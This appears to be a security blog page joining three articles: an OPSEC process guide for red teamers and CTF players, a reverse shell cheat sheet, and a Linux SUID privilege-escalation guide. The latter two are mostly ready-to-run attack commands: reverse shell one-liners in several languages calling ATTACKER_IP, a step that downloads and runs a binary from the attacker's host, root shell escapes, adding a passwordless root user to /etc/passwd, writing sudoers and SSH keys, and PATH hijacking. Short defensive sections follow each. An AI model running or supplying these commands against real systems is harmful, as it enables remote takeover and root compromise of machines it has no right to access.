Lauro Perez

Photo by Anete Lusina on Pexels

OPSEC gets thrown around constantly in security circles, but most people reduce it to “don’t get caught.” That’s not wrong, it’s just incomplete. OPSEC is a structured process for identifying what matters, figuring out who wants it, and applying just enough countermeasure to keep it out of their hands — whether you’re running a red team engagement against a Fortune 500 SOC or trying not to leak a flag to the rest of the leaderboard mid-CTF.

The discipline traces back to the U.S. military’s Purple Dragon program from the Vietnam War, formalized later in NSDD-298 as a five-step process. Hacker culture absorbed it independently — every generation relearns the same lesson, often by watching someone else’s OPSEC failure become a cautionary tale (Kevin Mitnick’s repeated calls from traceable phones is the textbook example). The process hasn’t changed much since; what changes is the threat model you’re applying it to.

The Five-Step OPSEC Process

Five steps, repeated throughout the operation, not done once at the start:

1. Identify critical information. For a red teamer: engagement timeline, objectives, C2 infrastructure, team identities. For a CTF player: the flag, your exploit before it’s documented, your team’s progress relative to the scoreboard.
2. Analyze the threat. Who’s collecting against you? The client’s defenders, in a red team. Other competitors and event staff, in a CTF. Don’t treat “the adversary” as a single actor — a red team against a bank may face the SOC and real criminals watching the same infrastructure.
3. Analyze vulnerabilities. What indicators leak your critical information? A social post that lines up with a known client. A consistent VPS provider and IP range reused across engagements. Predictable testing hours.
4. Assess the risk. Risk = criticality × how observable it is × how capable the adversary is of exploiting it. Be honest here — “acceptable risk” without analysis is wishful thinking.
5. Apply countermeasures. Proportional to the risk. Over-engineering OPSEC is itself a risk: it adds complexity that can fail and draws attention through unusual behavior.

Threat Modeling for Red Teamers and CTF Players

Threat modeling asks “what could go wrong?” OPSEC asks “how do I keep it from going wrong?” You need both — threat modeling without OPSEC is academic, OPSEC without threat modeling is guessing.

Who’s actually watching

A quick exercise before any engagement: write down what information, if released right now, would compromise it; what that information would reveal if combined with anything else an adversary might already have; and who actually needs to know each piece. Fifteen minutes, one page, shared only with people who need it.

Operational Tradecraft

Tradecraft is the difference between having an OPSEC policy and living it. Three habits do most of the work.

Compartmentalization

No person or system gets more access than their specific function requires. On a red team, the lead knows the full attack plan; individual operators know their own objective. Infrastructure is segmented so a compromised jump box doesn’t expose the full C2 chain. If you maintain a research or bug bounty identity separate from your day job, keep the usernames, email addresses, and devices fully separate — when one identity attracts attention, you abandon it instead of losing both.

Operational pacing and patterns

Adversaries learn by watching for patterns. Always testing between 9 PM and midnight, always launching from the same ASN, always running tools in the same order — that’s a fingerprint. Vary what can be varied (timing, infrastructure, tool order) without affecting the mission. This isn’t about adding random noise; it’s about denying pattern-matching.

Cover for action

The justification for activity that would otherwise draw scrutiny. For a pentester triggering the client’s own monitoring during recon, cover for action is the rules of engagement and a point of contact who can verify you. For physical red team work, it’s a believable story that holds up under questioning. Keep cover as close to the truth as possible — elaborate lies crack under pressure.

Common OPSEC Mistakes That Burn Engagements

Most OPSEC failures aren’t a single dramatic leak. They fall into a small number of repeatable patterns:

In CTF specifically, the same patterns show up smaller-scale: pasting a flag or exploit into a public channel before the event closes, publishing a writeup before organizers confirm it’s safe, or discussing a live challenge where other competitors can see it. The stakes are lower; the discipline is identical.

Penetration Testing OPSEC vs. Red Team OPSEC

The terms get used interchangeably, but the OPSEC profile is different.

A pentester’s OPSEC failure usually leaks information about the client. A red teamer’s OPSEC failure usually leaks information about the operation itself — and potentially about the operators running it.

Building OPSEC Habits

OPSEC that only gets applied at the start of an engagement isn’t OPSEC, it’s a kickoff checklist. Build it into the rhythm of the work instead.

Pre-send checklist for anything sensitive (a vulnerability report, an engagement update, a writeup):

• Is the recipient’s identity verified through an independent channel?
• Is the channel encrypted with verified keys?
• Does the message contain only the minimum necessary information?
• Have you stripped metadata (EXIF, document properties) that could identify you?
• Are you sending from the correct operational context — the right account, the right device?

Weekly: audit your own digital footprint (search your name and handles), review recent engagements for unresolved OPSEC risk, rotate credentials on operational accounts.

Frequently Asked Questions

Photo by luis gomes on Pexels

In CTF environments, getting a reverse shell is usually step two or three in the attack chain — after finding an exploitable service and after triggering the exploit. The challenge is that you don’t always know what’s installed on the target: bash might not support /dev/tcp, Python 2 might be the only Python, or netcat might be the OpenBSD variant without -e. Having a ranked list of fallback options is how you get a shell in the first three minutes rather than the first twenty.

Setting Up Your Listener

Before executing any reverse shell on the target, start a listener on your machine. The listener waits for the inbound connection:

nc -lvnp PORT

rlwrap nc -lvnp PORT

socat file:`tty`,raw,echo=0 tcp-listen:PORT

Confirm your HackTheBox VPN IP before running the shell command on the target:

ip addr show tun0 | grep "inet " | awk '{print $2}' | cut -d'/' -f1

bash /dev/tcp

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

0<&196;exec 196<>/dev/tcp/ATTACKER_IP/PORT; sh <&196 >&196 2>&196

Netcat Variants

nc -e /bin/bash ATTACKER_IP PORT

ncat -e /bin/bash ATTACKER_IP PORT

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT >/tmp/f

Python 3 and Python 2

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'

php -r '$sock=fsockopen("ATTACKER_IP",PORT);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"); ?>

Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ruby

ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

mkfifo Named Pipe Shell

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc ATTACKER_IP PORT >/tmp/f

socat — Full TTY Shell Without Upgrade

socat file:`tty`,raw,echo=0 tcp-listen:PORT

socat tcp:ATTACKER_IP:PORT exec:'bash -li',pty,stderr,setsid,sigint,sane

# Attacker: host a static socat binary
python3 -m http.server 80

# Target: download and run it
wget http://ATTACKER_IP/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat tcp:ATTACKER_IP:PORT exec:'bash -li',pty,stderr,setsid,sigint,sane

TTY Upgrade — Shell Stabilization

A raw reverse shell has no TTY: Ctrl+C kills the session, arrow keys print escape codes, tab completion doesn’t work, and interactive programs (vim, su, passwd) fail. The TTY upgrade fixes this.

python3 -c 'import pty; pty.spawn("/bin/bash")'

python -c 'import pty; pty.spawn("/bin/bash")'
# or
script -qc /bin/bash /dev/null
# or
/usr/bin/script -qc /bin/bash /dev/null

# Press: Ctrl+Z
# Back on your local machine:
stty raw -echo
fg

export TERM=xterm
# Check your local terminal size
# Run this on your LOCAL machine first:
stty size
# Returns: 38 160 (rows cols)

# Then on the remote shell:
stty rows 38 cols 160

rlwrap for Arrow Keys and History

If a full TTY upgrade isn’t possible, rlwrap wraps the netcat listener to add readline support — arrow keys, Ctrl+R history search, and basic tab completion:

rlwrap nc -lvnp PORT

Install on Kali: sudo apt install rlwrap. Not a full TTY replacement — interactive programs still fail — but significantly more usable for initial shell navigation.

Defensive Context

Network egress monitoring: Reverse shells make outbound TCP connections on unusual ports (1337, 4444, 9001 are common CTF/pentest defaults). Network monitoring that alerts on outbound connections to unknown external IPs on non-standard ports, or unusual outbound traffic from internal servers, would catch reverse shell callbacks. The -rate of the connection (a burst of outbound traffic from a web server to a non-business IP) is a behavioral signature.

Process ancestry: Endpoint detection watches process trees. A reverse shell spawned from a web server looks like: apache2 → sh → bash or nginx → python3 → /bin/bash. No legitimate application creates that process lineage. EDR products flag parent-child relationships where a web server spawns a shell.

/dev/tcp: The bash /dev/tcp mechanism uses no external binaries — it’s a bash built-in. This makes it harder to detect via binary-based monitoring (which tracks exec() calls), but network-level monitoring still catches the outbound TCP connection. Some hardened systems disable /dev/tcp at bash compile time; this is rare in practice.

Logging and SIEM: Command history, /var/log/auth.log, and bash_history capture reverse shell commands if they’re run interactively. Audit frameworks like auditd can log all exec() calls, which would capture the Python or perl one-liners. Correlating a web server log entry with a subsequent spawn of /bin/bash in the process list is a standard IR correlation point.

Frequently Asked Questions

Photo by Lukas Blazek on Pexels

After getting an initial shell on a Linux CTF machine, the next question is almost always: can I escalate to root? SUID binaries are one of the most common and reliable paths. The technique is conceptually simple — find a binary that runs as root, figure out if it can be tricked into running your commands, run them. What varies is which binary is present and how its specific exploitation works.

How SUID Works

Reading SUID in ls output

The lowercase s in the owner execute position is the SUID indicator. When you see it on a root-owned binary, that binary runs as root regardless of who executes it. The passwd command is a legitimate example — it needs root to write to /etc/shadow even when run by an unprivileged user.

Verify SUID with stat

stat /usr/bin/passwd
# Look for: Access: (4755/-rwsr-xr-x)  Uid: (    0/    root)
# 4755 = octal: 4 = SUID bit, 755 = rwxr-xr-x

Finding SUID Binaries

find / -perm -u=s -type f 2>/dev/null

Alternate syntax (same result):

find / -perm /4000 -type f 2>/dev/null

Pipe through a quick compare against known-standard SUID binaries to isolate unusual entries:

find / -perm -u=s -type f 2>/dev/null | grep -v -E "/(bin|sbin|usr/bin|usr/sbin)/(passwd|sudo|su|mount|umount|ping|newgrp|chfn|chsh|gpasswd|pkexec|polkit)"

GTFOBins Reference

GTFOBins (gtfobins.github.io) is the definitive reference for exploiting SUID binaries. For each binary, it documents the exact command to run when that binary has the SUID bit set. The workflow: find an unexpected binary in your SUID list → check GTFOBins under “SUID” filter → copy the command → adapt IP/path → run.

bash

/bin/bash -p

bash-5.1# whoami
root

# Verify: shows your effective UID as root
id
# uid=1000(user) gid=1000(user) euid=0(root) groups=...

find

find . -exec /bin/sh -p \; -quit

find . -execdir /bin/sh -p \; -quit

# Add a root user to /etc/passwd
find . -exec bash -c "echo 'hacker:\$1\$salt\$hash:0:0:root:/root:/bin/bash' >> /etc/passwd" \;

vim / vi

vim -c ':!/bin/sh'

:set shell=/bin/sh
:shell

vim /etc/shadow
# or from inside vim:
:e /etc/shadow

python / python3

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

python3 -c 'open("/etc/passwd","a").write("hacker::0:0::/root:/bin/bash")'

env

env /bin/sh -p

awk

awk 'BEGIN {system("/bin/sh -p")}'

perl

perl -e 'exec "/bin/sh -p"'

less / more

# Open any file with less
less /etc/passwd
# Inside less, type:
!/bin/sh

# more variant
more /etc/passwd
# Inside more, type:
!/bin/sh

less /etc/profile
# type: !/bin/sh

cp and tee — File Write Exploits

Some SUID binaries don’t give a direct shell but can write files as root. This enables privilege escalation through /etc/passwd, /etc/sudoers, or SSH authorized_keys:

# Step 1: copy /etc/passwd locally, add a root user
cp /etc/passwd /tmp/passwd_bak
echo "hacker::0:0::/root:/bin/bash" >> /tmp/passwd_bak

# Step 2: overwrite /etc/passwd with SUID cp
cp /tmp/passwd_bak /etc/passwd

# Step 3: switch to the new root account (no password)
su hacker

# Write your public key to root's authorized_keys
cat ~/.ssh/id_rsa.pub | tee /root/.ssh/authorized_keys

# Add entry to /etc/sudoers
echo "user ALL=(ALL) NOPASSWD: ALL" | tee -a /etc/sudoers

nmap (legacy)

nmap --version
# Only works if version is 2.02 to 5.21

# Interactive mode (nmap 2.02–5.21 only)
nmap --interactive
nmap> !sh

echo 'os.execute("/bin/sh")' > /tmp/shell.nse
nmap --script=/tmp/shell.nse

Custom SUID Binaries

CTF machines sometimes include custom SUID binaries — compiled programs written specifically for the challenge. These don’t appear in GTFOBins and require analysis. Starting points:

# Check what strings are embedded in the binary
strings /path/to/suid_binary

# Check what shared libraries it uses
ldd /path/to/suid_binary

# Check what system calls it makes (run as current user)
strace /path/to/suid_binary 2>&1

# Check library calls
ltrace /path/to/suid_binary 2>&1

# Check what files it accesses
strace -e trace=file /path/to/suid_binary 2>&1

Common vulnerabilities in custom SUID binaries:

• Using system() with relative paths — if the binary calls system("cat /etc/passwd") using the full path it’s safe, but system("cat") with a relative path is exploitable by PATH manipulation
• PATH hijacking — if the binary calls a command without a full path, place your own version of that command earlier in PATH and the SUID binary will execute it as root
• Writable shared library — if ldd shows a library that’s world-writable, replace it with a malicious version

# Binary calls: system("cat file.txt") -- 'cat' without full path

# Create malicious 'cat' that spawns a shell
mkdir /tmp/evil
echo '/bin/bash -p' > /tmp/evil/cat
chmod +x /tmp/evil/cat

# Prepend to PATH and run the SUID binary
PATH=/tmp/evil:$PATH /path/to/suid_binary

Defensive Context

Audit SUID binaries regularly: The same find command used for discovery is the right tool for baseline auditing. Running find / -perm -u=s -type f 2>/dev/null and comparing the output against a known-good baseline is a standard hardening check. Any SUID binary not in the baseline is worth investigating. Tools like Lynis and CIS benchmarks include SUID audits as standard checks.

Remove unnecessary SUID bits: The principle of least privilege applies to SUID. If a binary doesn’t need to run as root, remove the SUID bit: chmod u-s /path/to/binary. Many SUID bits that were set historically for system functionality are no longer necessary on modern kernels. ping, for example, no longer requires SUID on kernels that support CAP_NET_RAW capabilities.

Linux capabilities as an alternative to SUID: Modern Linux systems use capabilities to grant specific elevated privileges to binaries rather than full root SUID. CAP_NET_RAW for ping, CAP_SETUID for user management tools. This is preferable to SUID — a capability grants only the specific elevated action needed, not full root effective UID. Check capability assignments with getcap -r / 2>/dev/null — misconfigured capabilities are also a privesc vector.

Mount options: nosuid as a mount option on non-system partitions (/tmp, /home, external mounts) prevents SUID execution from those locations. This stops an attacker who can write a file to those locations from installing their own SUID binary. /tmp is world-writable and particularly worth protecting — nosuid on /tmp is a common hardening measure.

Frequently Asked Questions